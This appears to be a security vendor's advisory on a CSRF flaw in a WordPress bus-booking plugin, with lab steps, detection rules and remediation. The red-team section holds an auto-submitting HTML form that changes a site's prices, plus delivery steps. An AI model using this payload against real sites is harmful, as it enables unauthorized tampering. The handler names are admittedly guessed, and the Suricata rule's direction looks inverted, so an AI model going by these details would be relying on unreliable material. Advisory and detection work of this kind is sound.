CVE-2024-49294

Executive Summary

CVE-2024-49294 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin "Bus Ticket Booking with Seat Reservation" by magepeopleteam, affecting versions up to and including 5.4.3. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or triggering state-changing operations, without the victim's consent. The CVSS v3.1 base score is 4.3 (Medium), with a low attack complexity and no privileges required, but user interaction is necessary. No public exploit code or proof-of-concept has been identified at this time, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin's update channel and apply any security patches as soon as they become available. Since the patch status is unknown, supply chain risk is elevated for sites running the affected version.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required to exploit.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited ability to modify data or settings.
• Availability (A): None (N) – No denial-of-service impact.

Threat Level: Medium. Exploitation requires social engineering to trick an admin into performing an action, but the potential impact includes unauthorized configuration changes.

Deep Dive & Mechanics

The CSRF vulnerability in the Bus Ticket Booking plugin arises from a lack of nonce validation or anti-CSRF tokens on state-changing HTTP requests (e.g., POST, GET with side effects). An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress admin, triggers a forged request to the plugin's admin endpoints. This could allow the attacker to modify booking settings, delete reservations, or alter pricing without the admin's knowledge.

The plugin likely uses WordPress admin-ajax.php or custom admin pages without verifying the _wpnonce parameter. The absence of CSRF protection means that any authenticated user's browser will automatically include session cookies, making the forged request appear legitimate.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically. A typical vulnerable implementation might look like:

Vulnerable (no nonce check):

// In admin-ajax.php or custom admin handler
add_action('wp_ajax_update_booking_settings', 'update_booking_settings');
function update_booking_settings() {
    // No nonce verification
    update_option('bus_booking_price', $_POST['price']);
    wp_die();
}

Patched (with nonce check):

add_action('wp_ajax_update_booking_settings', 'update_booking_settings');
function update_booking_settings() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'bus_booking_settings_nonce')) {
        wp_die('CSRF validation failed.');
    }
    update_option('bus_booking_price', $_POST['price']);
    wp_die();
}

The patched version adds a call to wp_verify_nonce() to ensure the request originated from the legitimate admin interface.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a WordPress instance with the Bus Ticket Booking plugin version 5.4.3.
2. Craft Payload: Create an HTML page that auto-submits a form to the vulnerable endpoint.

   <html>
   <body>
   <form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
       <input type="hidden" name="action" value="update_booking_settings">
       <input type="hidden" name="price" value="0.01">
   </form>
   <script>document.getElementById('csrf_form').submit();</script>
   </body>
   </html>
   

3. Deliver: Host the page and send the link to the victim admin via email or social engineering.
4. Trigger: When the admin visits the page while logged into WordPress, the form auto-submits, changing the booking price.

Blue Team (Defense & Detection)

1. Monitor: Watch for unexpected POST requests to admin-ajax.php with suspicious action parameters.
2. Harden: Ensure all admin-facing forms include nonce fields. Use WordPress's wp_nonce_field() and check_admin_referer() functions.
3. Educate: Train admins to avoid clicking untrusted links while logged into the admin panel.
4. Deploy WAF: Use a Web Application Firewall to block requests missing expected CSRF tokens.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /wp-admin/admin-ajax.php with action=update_booking_settings (or similar) without a valid _wpnonce parameter.
• Logs: WordPress debug log entries showing failed nonce verification (if logging is enabled).
• File: Unexpected changes to plugin options in the wp_options table, such as bus_booking_price.
• Behavior: Admin accounts performing actions without corresponding UI interaction.

Detection Engineering

YARA Rule

rule CVE_2024_49294_CSRF_WordPress {
    meta:
        description = "Detects vulnerable Bus Ticket Booking plugin files missing nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49294"
    strings:
        $ajax_handler = /add_action\s*\(\s*['\"]wp_ajax_[^'\"]+['\"]\s*,\s*['\"][^'\"]+['\"]\s*\)/ nocase
        $nonce_check = /wp_verify_nonce|check_admin_referer|check_ajax_referer/ nocase
    condition:
        $ajax_handler and not $nonce_check
}

Sigma Rule

title: CVE-2024-49294 CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attacks against Bus Ticket Booking plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=update_booking_settings'
            - 'price='
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49294 CSRF Attempt - Bus Ticket Booking"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=update_booking_settings"; http_client_body; nocase; content:"price="; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Bus Ticket Booking plugin until a patched version is released.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid nonce parameter.
3. Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available.
4. Workaround: If the plugin is critical, consider adding a custom nonce check via a WordPress mu-plugin:

   add_action('wp_ajax_update_booking_settings', 'custom_nonce_check', 1);
   function custom_nonce_check() {
       if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'bus_booking_settings_nonce')) {
           wp_die('CSRF validation failed.');
       }
   }
   

5. User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links while logged into the admin panel.

Valters IT
Securing WordPress Ecosystems